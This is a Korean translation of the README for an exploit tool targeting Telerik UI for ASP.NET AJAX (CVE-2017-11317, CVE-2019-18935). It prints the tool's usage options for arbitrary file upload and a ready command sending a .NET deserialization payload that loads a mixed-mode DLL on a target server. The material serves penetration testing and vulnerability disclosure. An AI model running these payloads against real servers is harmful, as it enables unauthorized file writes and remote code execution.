RAU_crypto

Telerik UI for ASP.NET AJAX를 위한 통합 익스플로잇.

CVE-2017-11317 및 CVE-2017-11357에 대한 파일 업로드 - 자동으로 파일 업로드
CVE-2019-18935에 대한 .NET 역직렬화

익스플로잇이 작동하려면 일반적으로 하드코딩된 키가 있는 버전이 필요하거나, 예를 들어 web.config의 내용을 공개할 수 있는 경우 키를 알아야 합니다. 이 익스플로잇은 또한 Telerik.Web.UI.WebResource.axd?type=rau와 함께 사용되는 rauPostData의 간단한 복호화 및 암호화를 지원합니다.

요구 사항

Python >= 3.6 및 pycryptodome (https://www.pycryptodome.org/en/latest/src/installation.html) - pip3 install pycryptodome 또는 pip3 install pycryptodomex로 설치

exploit-db에 게시됨 (이전 버전)

https://www.exploit-db.com/exploits/43874/

함께 보기

제 다른 Telerik UI 익스플로잇(CVE-2017-9248)도 관심이 있을 것입니다. 다음에서 확인할 수 있습니다.

https://github.com/bao7uo/dp_crypto

할 일

이후 버전을 위한 누락된 HMAC 기능.
사용자 지정 키 지정 기능.
혼합 모드 DLL 실행을 위한 명령줄 인수 (그동안 아래 제공된 예제 .NET 역직렬화 페이로드를 사용하세요).
혼합 모드 DLL 테스트를 위한 별도 유틸리티.
혼합 모드 DLL에 대한 소스 코드/컴파일 지침 제공.
무차별 대입 버전.

참고 - 마지막 네 항목은 완료되었지만 공개되지 않았습니다.

취약점

파일 업로드(CVE-2017-11317) 취약점은 다른 사람들이 발견했으며, @straight_blast @pwntester @olekmirosh 님에게 공로를 돌립니다. 발표 직후, 저는 작업 중 Telerik 라이브러리를 접하게 되어 이를 조사하고 취약점을 연구하여 2017년 7월에 이 익스플로잇을 작성했습니다. 또한 관련된 안전하지 않은 직접 객체 참조에 대해 CVE-2017-11357을 보고했습니다.

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

.NET 역직렬화(CVE-2019-18935) 취약점은 @mwulftange 님이 발견했습니다.

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

사용법

$ ./RAU_crypto.py 

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format:    2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$

예제 - 복호화

Decrypt screenshot

예제 - 임의 파일 업로드

Upload screenshot

사용자 지정 페이로드 (.NET 역직렬화)

.NET 역직렬화를 위한 사용자 지정 페이로드에 대한 자세한 내용은 이 취약점을 발견한 @mwulftange 님이 Code White 블로그에 작성한 훌륭한 글을 참조하세요. 다음 링크에 있습니다.

https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

기타 관련 링크.

예제 .NET 역직렬화 페이로드:

$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

혼합 모드 DLL에 대해서는 제 다른 GitHub 저장소를 참조하세요.

https://github.com/bao7uo/MixedUp

사용자 지정 페이로드 기능에 영감을 준 @irsdl 님에게 특별히 감사드립니다.

CVE_2019_18935

인기